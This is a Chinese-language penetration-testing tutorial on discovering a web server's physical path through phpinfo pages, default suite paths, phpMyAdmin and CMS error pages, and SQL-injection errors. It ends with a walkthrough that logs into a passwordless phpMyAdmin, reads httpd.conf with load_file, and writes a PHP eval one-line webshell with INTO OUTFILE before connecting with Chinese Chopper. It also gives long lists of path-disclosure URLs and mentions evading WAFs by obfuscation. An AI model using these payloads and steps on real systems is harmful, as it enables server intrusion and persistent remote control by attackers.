本篇学习总结,主要以apache中间件为主要环境进行研究学习,其他中间件情况思路基本类似,这里不做具体展开说明。
找网站的安装路径,其实就是通过“配置页面”或者“配置文件”找到Document Root 指向的网站路径位置,而Document Root最常见的地方就是 phpinfo.php页面和httpd.conf配置文件中;
Phpinfo()函数信息泄露漏洞,常发生一些默认的安装包(比如xampp/phpstudy/phpnow等)默认安装完成后,没有及时删除这些提供环境测试的文件,比较常见的为phpinfo.php、info.php、1.php、test.php。虽然通过phpinfo只是暴露的php环境以及变量等基本信息,但这些泄露的信息配合一些其它漏洞将有可能导致系统被渗透和提权。
除phpinfo以外,还有一些常用套件会默认包含探针页面,常见的探针页面有:l.php、p.php、tanzhen.php、tz.php和u.php等。网站探针是一个可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器IP地址、Web服务器环境监测、php等信息的文件,常作为默认首页出现在各新建网站上。然而从信息安全的角度上看,探针不建议对外部访客开放。
PHP中提供了PHPInfo()函数,该函数返回 PHP 的所有信息,包括了 PHP 的编译选项及扩充配置、PHP 版本、服务器信息及环境变量、PHP 环境变量、操作系统版本信息、路径及环境变量配置、HTTP 标头、及版权宣告等信息。其函数定义如下:
语法: int phpinfo(void);
返回值: 整数
函数种类: PHP 系统功能
例如新建一个php文件,在其中输入以下内容:
<?php phpinfo(); ?>
该函数主要用于网站建设过程中测试搭建的PHP环境是否正确,很多网站在测试完毕后并没有及时删除,因此当访问这些测试页面时,会输出服务器的关键信息,这些信息的泄露将导致服务器被渗透的风险。
图2.1.1-1 phpinfo页面
我们在说明httpd.conf配置文件之前,不得不简单的了解下Apache服务器。Apache HTTP Server(简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的Web服务器端软件之一,其在全世界web服务使用排名上,处在第一位。
而我们这里要说明的httpd.conf 配置文件,就是Apache中间件服务的主要配置文件。
/etc/httpd/conf/httpd.conf中;
/var/www/html中;
而站点目录的位置,即网站物理路径的具体目录位置,就是通过DocumentRoot配置选择在httpd.conf中来配置指定的。
图2.1.2-1 httpd.conf配置文档
注:后面章节中提到的有关套件(xampp/lamp/phpstudy/phpnow/LANMP等待),其全部都是使用apache作为套件环境的中间件服务器。
路径查找方法实践,基本可以大致分为以下3个方向:
收集网站部署使用的套件信息,通过套件默认的配置页面phpinof或者探针页面获取网站的物理路径信息。
通过web扫描器,进行爬虫爬行遍历网站的所有链接,收集可能存在的phpinfo类似的页面,收集网站物理路径信息。
推荐使用web扫描器:AWVS的site crawler模块进行站点目录的爬行。
图3.2-1 AWVS crawler模块目录爬行
工具下载链接: https://pan.baidu.com/s/1i4JDIuD 密码: k6fk
3.3. 爆破扫描收集
使用目录爆破工具,进行目录信息的猜解爆破收集可能存在的敏感文件信息。
推荐使用工具:御剑
图3.3-1 御剑扫描器
工具下载链接: https://pan.baidu.com/s/1eSfy5Fk 密码: azy8
关键字:web套件配置文件默认路径
通过常用的web容器套件,来获取默认的网站可写路径信息,如常用套件:xampp、phpnow、phpstudy等。
XAMPP是最流行的PHP开发环境,其是完全免费且易于安装的Apache发行版,其中包含MariaDB、PHP和Perl。由于XAMPP其设置、安装、配置出奇容易,使得其使用者也非常广泛。
C:/xampp/htdocs 或
D:/xampp/htdocs 或
E: :/xampp/htdocs
……
其他可写入路径:
D:/xampp/phpmyadmin/
注:xampp套件phpmyadmn目录如果没删除,也可以尝试直接写入操作;
C:/xampp/apache/conf/httpd.conf
D:/xampp/apache/conf/httpd.conf
……
/xampp/apache/conf/extra/httpd-vhosts.conf
C: /xampp/apache/conf/extra/httpd-vhosts.conf
D: /xampp/apache/conf/extra/httpd-vhosts.conf
……
猜测默认apache默认配置文件路径,读取配置文件,查找网站根目录和可写目录路径;
图4.1.2-2主配置文件httpd.conf
图4.1.2-3虚拟主机配置文件httpd-vhosts.conf
LAMPP套件与XAMPP是同一个套件,只是应用的系统平台不同,LAMPP是部署于linux平台的版本,XAMPP是部署与windows平台。
/opt/lampp/htdocs
httpd.conf配置文件: /opt/lampp/etc/httpd.conf
vhosts.conf虚拟主机:/opt/lampp/etc/extra/httpd-vhosts.conf
phpStudy是一个PHP调试环境的程序集成包。
该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境
$disk:/ phpstudy/www
C:/phpstudy/www 或
D:/phpstudy/www 或
E:/phpstudy/www
……
图4.1.3-1 phpstudy探针页面
httpd.conf配置文件:$disk: /phpStudy/Apache/conf/httpd.conf
vhosts.conf虚拟主机:$disk: /phpStudy/Apache/conf/extra/httpd-vhosts.conf
图4.1.1-1主配置文件httpd.conf
图4.1.2-2虚拟主机配置文件vhosts.conf
phpnow套件现在使用的意见非常少,他是Win32 下绿色免费的 Apache + PHP + MySQL 环境套件包,当前最新版本也只是更新到1.5.6。
1) 网站默认路径:
phpnow套件默认网站路径依据版本不同可能不同,当前使用最新的版本是1.5.6,其默认目录:
$disk:\phpnow-1.5.6\htdocs
C:\PHPnow-1.5.6\htdocs
D:\PHPnow-1.5.6\htdocs
E:\PHPnow-1.5.6\htdocs
图4.1.4-1 phpnow探针页面
2) Apache配置文件默认路径:
httpd.conf配置文件: D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf
vhosts.conf虚拟主机:D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.comf
图4.1.4-2主配置文件httpd.conf
图4.1.4-3主配置文件httpd.conf
/home/wwwroot/default --- Linux系统目录可能没有权限写入。
httpd.conf配置文件:
vhosts.conf虚拟主机:
网站默认路径:
$disk:\InetPub\wwwroot
C: \InetPub\wwwroot
D: \InetPub\wwwroot
……
配置文件默认路径:C:/Windows/system32/inetsrv/metabase.xml
网站默认路径:$disk:\InetPub\wwwroot
C: \Inetpub\wwwroot
D: \InetPub\wwwroot
……
配置文件默认路径:C:\Windows\System32\inetsrv\config\applicationHost.config
关键字:读取配置文件httpd.conf 或vhosts.conf!!!
在通过web套件已经猜解到网站的默认路径后,经常会遇到向套件默认目录写入一句话后,无法成功的情况。通过研究发现,出现此种情况的可能有两种情况。
(1) 情况一
一句话写入成功,但是此目录并不是渗透对象的网站根目录,我们无法通过URL地址访问到“我们写入的一句话木马”;
(2) 情况二
还有一种情况,就是对于套件默认路径,我们没有写入的权限。最常见的案例就是,我们渗透的网站服务器的系统是linux主机,而没有写入权限。
对于这种有应用防护的原理,基本一致,都是基于特征检测的方式进行安全防护,如单一特征、多特征防护。那么绕过这些安全防护的方法就是使用变种,如对提交内容进行编码混淆或者采用非敏感的函数等,关于木马绕过技术不在文中扩展说明。
对于以上“情况一”与“情况二”不能写入成功问题的解决思路,需要满足以下两个条件即可完美解决。
而对于要满足以上的条件,最好的办法,就是通过读取web套件中间件的配置文件信息,获取网站的真实物理路径(如:httpd.conf)。如在获知目标站点使用的xampp套件的情况,下我们可以直接利用phpmyadmin有root登录权限的条件下,直接读取默认配置文件httpd.conf,通过配置文件httpd.conf收集到网站的真实物理路径,读取方法:
select load_file('D:/xampp/apache/conf/httpd.conf');
具体各个常用套件apache配置文件的路径请查看章节4 配置文件读取网站路径。
关键字:特定目录报错!!!
一般在获取phpmyadmin管理页面后,特定的版本访问特点的目录,可以爆出网站的物理路径。
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
通过phpmyadmin的常用爆错页面的尝试,爆出网站的真实物理路径信息。
对于存在sql注入点的页面,可以尝试“加单引号”或者“构造错误参数”进行网站路径爆错显示。
说明:直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′
说明:将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
当我们遇到Web服务器是nginx,且存在文件类型解析漏洞时,可以在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
如:访问www.xyz.com/123.jpg/x.php
/member/templets/menulit.php
/plus/paycenter/alipay/return_url.php
/plus/paycenter/cbpayment/autoreceive.php
/paycenter/nps/config_pay_nps.php
/plus/task/dede-maketimehtml.php
/plus/task/dede-optimize-table.php
/plus/task/dede-upcache.php
/wp-admin/includes/file.php
/wp-content/themes/baiaogu-seo/footer.php
/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php
/ucenter/control/admin/db.php
/manyou/admincp.php?my_suffix=%0A%0DTOBY57
/admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
/admin/inc/hack/count.php?job=list
/admin/inc/hack/search.php?job=getcode
/admin/inc/ajax/bencandy.php?job=do
/cache/MysqlTime.txt
/PHPcms2008-sp4
注册用户登陆后访问
/phpcms/corpandresize/process.php?pic=../images/logo.gif
漏洞出现在menu_top.php这个文件中
/lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
/lib/default/special_act.php
发现phpmyadmin空口令一枚,其phpmyadmin无需口令可以直接登录管理页面。
我们这里想写入一句话木马到网站,从而getshell。现在已经有数据库的root管理权限,现在还缺一个“可以写入的网站物理路径”。
利用思路:通过查看数据库路存放径来收集当前网站web容器可能使用的套件。
查询数据库存放路径命令:
Select @@datadir;
通过查询接口,人品爆发的获知当前目标站点使用的web容器是xampp,由此我们猜测目标站点的网站物理路径为:“f:/xampp/htdocs/”
写入一句话语句:
select '<?php @eval($POST[123]);?>' INTO OUTFILE 'f:/xampp/htdocs/123.php';
通过sql执行结果,可以看到sql语句执行成功。
访问目标站点下写入的一句话123.php木马,测试其是否可正常访问并被解析。
通过URL访问测试,发现一句话似乎并没有写入成功。
此时,我们再执行一次上面写入一句话木马的sql语句,观察sql语句执行反馈的结果。通过sql执行语句反馈的结果:“……123.php already exists”,可以判读一句话写入其实是成功。
那么现在,可以判断出网站的物理路径在网站初始化配置时,被网站管理人员修改了,现在目标站点的真实物理路径并不是xampp套件的默认存放路径。
通过上面的测试判断,渗透目标站点的物理路径并不是xampp套件的默认路径,此时我们最直接可以获取网站真实物理路径的方式,就是读取网站中间apache的配置文件,来收集网站的物理路径信息。
因为我们已经知道渗透测试对象的web容器是xampp,我们猜测其apache配置文件的路径是:f:/xampp/apache/conf/httpd.conf
配置文件读取语句:
select load_file('f:/xampp/apache/conf/httpd.conf');
通过查询apache配置文件可以获知,渗透对象的真实物理路径是“f:/web/xyzcom/”
我们在读取到网站真实物理路径后,再次写入一句话到网站物理路径下,尝试getshell。
select '<?php @eval($POST[123]);?>' INTO OUTFILE 'f:/web/xyzcom/123.php';
一句话sql语句执行成功,接下来进行php解析测试,直接访问123.php查看是否可以正常解析。
OK,这次123.php一句话解析正常。
直接上中国菜刀,一句话密码是123,连接成功。
其实这里测试,还发现通过phpmyadmin报错页面,爆出的物理路径同样可以写入一句话并能正常getshell,这里也做下简单记录。
通过路径“/phpmyadmin/themes/darkblue_orange/layout.inc.php”可以报错下图6.1.7-1的路径信息:“F:/xampp/phpmyadmin/themes/darkblue_orange/layout.inc.php”
图6.1.7-1
剩下继续写入一句话getshell,这里就不再重复。
学习参考:
http://www.cnblogs.com/my1e3/p/5863161.html
http://blog.csdn.net/u011500307/article/details/17062233
https://security.yirendai.com/news/share/31
http://www.cnnetarmy.com/%E9%92%88%E5%AF%B9%E3%80%90%E7%BD%91%E7%AB%99%E6%8E%A2%E9%92%88%E3%80%91%E5%AE%89%E5%85%A8%E6%80%A7%E9%97%AE%E9%A2%98%E6%8E%A2%E7%A9%B6/